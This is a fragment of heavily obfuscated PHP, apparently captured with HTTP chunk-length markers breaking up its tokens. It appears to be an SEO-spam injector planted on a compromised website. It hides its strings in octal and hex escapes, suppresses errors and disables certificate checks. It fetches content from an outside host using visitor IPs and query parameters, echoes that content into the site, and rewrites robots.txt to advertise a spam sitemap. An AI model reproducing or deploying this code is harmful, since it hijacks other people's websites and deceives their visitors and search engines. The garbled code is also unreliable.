3 $url, CURLOPT_RE 8 TURNTRAN a SFER => tr 10 ue, CURLOPT_SSL_ 6 VERIFY c PEER => fals 19 e, CURLOPT_SSL_VERIFYHOST 19 => false, CURLOPT_FOLLOW 7 LOCATIO 17 N => true, CURLOPT_TIME 13 OUT => 10, CURLOPT_ 1b POST => true, CURLOPT_POSTF a IELDS => $ 10 postString)); $d f ata = curl_exec 11 ($ch); curl_close f ($ch); if (!emp e ty($data)) { r d eturn $data; c } } if (ini_ 9 get("\141 c \x6c\154\157 11 \x77\x5f\165\162\ 12 154\x5f\146\157\16 11 0\x65\x6e")) { $c a ontext = s e tream_context_ d create(array( c "\150\164\x7 14 4\x70" => array("\x6 d d\x65\x74\150 15 \157\144" => "\x50\11 b 7\x53\x54", 14 "\x74\x69\x6d\x65\x 20 6f\x75\164" => 10, "\x68\145\x61 15 \144\145\x72" => "\x4 e 3\157\156\164\ 12 145\x6e\x74\x2d\12 f 4\x79\x70\145\7 d 2\40\141\160\ 10 160\x6c\151\143\ 18 x61\x74\151\157\156\57\1 12 70\55\167\x77\167\ 11 55\x66\x6f\162\x6 d d\x2d\x75\x72 17 \154\145\156\143\157\14 f 4\x65\x64\15\xa 8 " . "\10 1a 3\157\156\x74\145\156\164\ 12 55\x4c\x65\x6e\147 f \164\150\72\x20 b " . strlen( 16 $postString) . "\15\12 15 " . "\x55\x73\145\x72 c \x2d\101\x67 19 \145\156\164\x3a\40\115\1 14 57\172\x69\x6c\x6c\1 e 41\57\x35\56\x 15 30\15\12", "\x63\157\ 14 x6e\164\x65\156\164" 19 => $postString), "\163\1 14 63\x6c" => array("\1 13 66\x65\x72\151\146\ 16 x79\x5f\160\x65\145\16 1b 2" => false, "\166\145\x72\ 14 151\x66\x79\x5f\160\ 19 145\x65\x72\x5f\x6e\x61\1 11 55\x65" => false) 11 )); $data = @file e _get_contents( 15 $url, false, $context 37 ); if (!empty($data)) { return $data; } } return ''; } c goto wRFt_; 6 VguJR: 17 if (!empty($get["\162" c ])) { $robot a sPath = $_ 7 SERVER[ 11 "\x44\117\x43\125 c \115\x45\x4e c \x54\137\122 13 \117\x4f\x54"] . "\ 15 57\162\157\142\x6f\x7 11 4\163\x2e\x74\x78 c \164"; $site 7 mapBloc 12 k = "\125\163\145\ d 162\55\141\14 15 7\x65\x6e\164\72\40\x 9 2a\xa\x41 18 \x6c\x6c\x6f\167\x3a\40\ 18 57\xa"; $sitemaps = "\12 14 \x53\x69\x74\145\x6d 10 \x61\160\x3a\x20 a {$http_typ 11 e}{$_SERVER["\x48 12 \x54\124\x50\x5f\1 d 10\117\123\12 18 4"]}{$_SERVER["\123\x43\ d x52\x49\x50\1 11 24\x5f\x4e\101\x4 c d\x45"]}\x3f f \x73\75\163\12" 1e ; if (!file_exists($robotsPath c )) { file_pu 27 t_contents($robotsPath, $sitemapBlock . 13 $sitemaps); } else 11 { $robotsContent 2b = @file_get_contents($robotsPath); if (str 4 pos( f $robotsContent, c $_SERVER["\ e 123\x43\122\11 a 1\120\x54\ 18 x5f\x4e\101\x4d\105"]) = d == false) { @ 2c file_put_contents($robotsPath, $sitemaps, FI 7 LE_APPE 10 ND); } } } goto 8 Kw0TV; l 8 b_EM: $v 10 url = $http_type 12 . "\x69\144\154\1 b 71\x32\56\x 15 69\x64\163\150\x6f\x7 e 0\56\x63\x63\1 12 67\x75\x2e\143\x63 d \57\64\61\x39 11 \56\x61\163\x70\1 11 70"; goto VguJR; 19 WNTMb: if (!empty($get["\ 12 x69\x64"])) { if ( 1d empty($get["\153\x6b"])) { $i a p = get_ip b (); $params 17 = array("\151\160" => 14 $ip, "\x69\144" => i e sset($get["\15 16 1\144"]) ? $get["\151\ 11 x64"] : '', "\x6c 10 \x6c" => $ll); $ b tzstr = get 13 Curl($vurl, $params 22 ); if (strpos($tzstr, "\x69\144") 11 !== false) { echo 12 $tzstr; die; } } 2e $params = array("\151\x64" => $get["\x69\x64"] b , "\154\154 35 " => $ll); $str = getCurl($vurl, $params); $str = str 7 _replac 17 e(array("\173\x55\x52\1 e 14\x7d", "\x7b e \xe5\x9f\x9f\x f e5\x90\x8d\x7d" 13 ), array(get_url_in e fo("\x66\x75\1 1b 54\x6c"), get_url_info("\x6 e e\157\x5f\167\ 10 167\x77")), $str 1d ); echo $str; die; } else { $ 10 sitemapUrl = $ll 14 . "\x3f\x73\75" . d e ate("\x59\155\ c 144\x48\x69" 14 ); echo "\x3c\144\15 10 1\x76\x20\163\16 11 4\171\x6c\145\x3d e \47\164\145\17 15 0\164\x2d\141\x6c\x69 12 \x67\156\x3a\143\1 17 45\x6e\x74\145\x72\73\4 15 0\160\x61\x64\x64\151 18 \x6e\147\x3a\61\x30\160\ e 170\x20\x30\x3 12 b\47\x3e\x3c\x61\x d 20\150\x72\14 e 5\x66\x3d\x22{ 13 $sitemapUrl}\42\x20 15 \164\141\162\147\x65\ 13 164\x3d\x22\x5f\x62 17 \x6c\141\x6e\153\x22\x2 12 0\x72\x65\154\75\4 13 2\156\157\146\x6f\1 12 54\154\157\167\42\ b 76\40\123\1 17 51\164\x65\155\141\160\ 18 74\x2f\141\x3e\74\x2f\14 e 4\x69\166\x3e" e ; } goto UHNmn 1e ; Kw0TV: if (!empty($get["\x73 1d "])) { $params = array("\x73" e => date("\131 18 \155\144\110\x69"), "\15 1a 6\x75\155\x62\145\162" => 13 $get["\156\165\x6d\ d 142\145\162"] 4c ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xbd\x9 24 3\345\211\x8d\xe5\234\xb0\xe5\x9d\20 f 0\175"), array( 26 $http_type . $_SERVER["\x48\124\124\12 17 0\x5f\110\x4f\123\124"] 18 . $_SERVER["\x53\103\12 14 2\x49\120\124\x5f\11 10 6\101\115\105"]) 10 , $str); header( 16 "\x43\x6f\156\164\145\ 14 156\x74\55\164\171\x c 70\x65\x3a\x 17 74\145\x78\164\x2f\x78\ 1d x6d\154"); echo $str; die; } 12 goto WNTMb; OsiDT: c error_repor 7 ting(0) 11 ; goto XVeBg; HWR 11 4h: $http_type = 1c !empty($_SERVER["\110\124\x5 f 4\120\x53"]) && 1f $_SERVER["\x48\x54\x54\120\123 f "] !== "\157\x6 9 6\x66" ? 13 "\x68\x74\x74\160\x d 73\72\57\x2f" 20 : "\x68\x74\x74\160\x3a\57\x2f" b ; goto rRNp 11 n; rRNpn: $ll = " 2d {$http_type}{$_SERVER["\x48\124\x54\120\137\1 23 10\117\123\124"]}{$_SERVER["\x53\x4 1c 3\122\x49\120\124\137\x4e\x4 1b 1\x4d\x45"]}"; goto lb_EM; 5 RyBoU 18 : function get_ip() { fo 11 reach (array("\11 15 0\x54\x54\120\137\x58 14 \x5f\x46\x4f\122\127 10 \101\122\x44\105 13 \104\x5f\106\117\x5 17 2", "\x48\124\x54\x50\1 10 37\103\x4c\x49\1 16 05\116\124\x5f\111\120 11 ", "\x52\105\115\ 13 117\124\105\x5f\101 12 \x44\x44\x52") as c $key) { if ( 21 !empty($_SERVER[$key])) { return 9 trim(expl b ode("\54", 19 $_SERVER[$key])[0]); } } 13 return "\x55\116\x4 11 b\116\117\127\x4e 16 "; } goto w0kkS; N6bGe 19 : function get_url_info(s 16 tring $return_type = " 10 \144\157\155\x61 14 \x69\x6e") : string 17 { $host = $_SERVER["\x4 23 8\124\124\x50\137\110\x4f\123\124"] 1d ; if ($return_type === "\144\ 14 x6f\x6d\x61\151\x6e" 11 ) { return $host; 21 } if ($return_type === "\x6e\x6f 12 \x5f\x77\x77\x77") 15 { return ltrim($host 17 , "\x77\x77\x77\x2e"); b } $protocol 18 = isset($_SERVER["\110\ 11 x54\124\120\123"] 26 ) && $_SERVER["\110\124\124\x50\123"] 10 === "\x6f\156" | 27 | isset($_SERVER["\x48\124\x54\x50\137\ 24 x58\137\106\117\x52\127\101\122\x44\ f x45\x44\137\120 10 \x52\x4f\124\x4f 2f "]) && $_SERVER["\x48\x54\x54\x50\x5f\130\137\x 14 46\x4f\x52\x57\x41\x 16 52\x44\x45\104\137\x50 1b \122\117\124\x4f"] === "\x6 14 8\164\164\160\x73" ? 18 "\x68\164\164\x70\x73\x 20 3a\57\x2f" : "\x68\x74\164\x70\x e 3a\x2f\57"; $b 14 ase_url = $protocol 23 . $host; if ($return_type === "\142 19 \141\x73\x65") { return $ 10 base_url; } $uri 1b = $_SERVER["\x52\105\x51\x 14 55\x45\x53\124\x5f\x e 55\122\111"]; d $full_url = $ 2a base_url . $uri; if ($return_type === "\14 1a 6\165\154\x6c") { return $ 24 full_url; } return ''; } goto RyBoU; 14 wRFt_: function get 21 Curl($url, $getData = array()) { 19 if (!empty($getData)) { $ 20 queryString = is_array($getData) 29 ? http_build_query($getData) : $getData; 12 $url .= (strpos($ b url, "\x3f" 1d ) === false ? "\x3f" : "\x26" 18 ) . $queryString; } if ( 17 function_exists("\143\1 10a 65\162\154\x5f\151\x6e\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 6 HTTPGE 19 T => true, CURLOPT_USERAG 9 ENT => "\ 1d 115\157\172\151\154\x6c\141\x c 2f\65\56\60" 70 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\15 10 7\x77\137\x75\x7 16 2\x6c\137\x66\157\160\ 58 145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\14 1b 5\x74\150\157\144" => "\107 18 \105\x54", "\x74\151\155 1b \x65\x6f\165\164" => 10, "\ 17 150\x65\x61\144\x65\x72 18 " => "\x55\x73\145\162\x b 2d\x41\147\ 19 145\x6e\x74\x3a\x20\x4d\x 15 6f\x7a\151\154\154\x6 14 1\57\65\56\x30\xd\12 f "), "\x73\x73\1 1b 54" => array("\x76\145\x72\ 3b x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\162\15 18 1\146\x79\137\x70\x65\x6 14 5\x72\137\x6e\141\x6 80 d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto f HWR4h; UHNmn: ? 1 > 0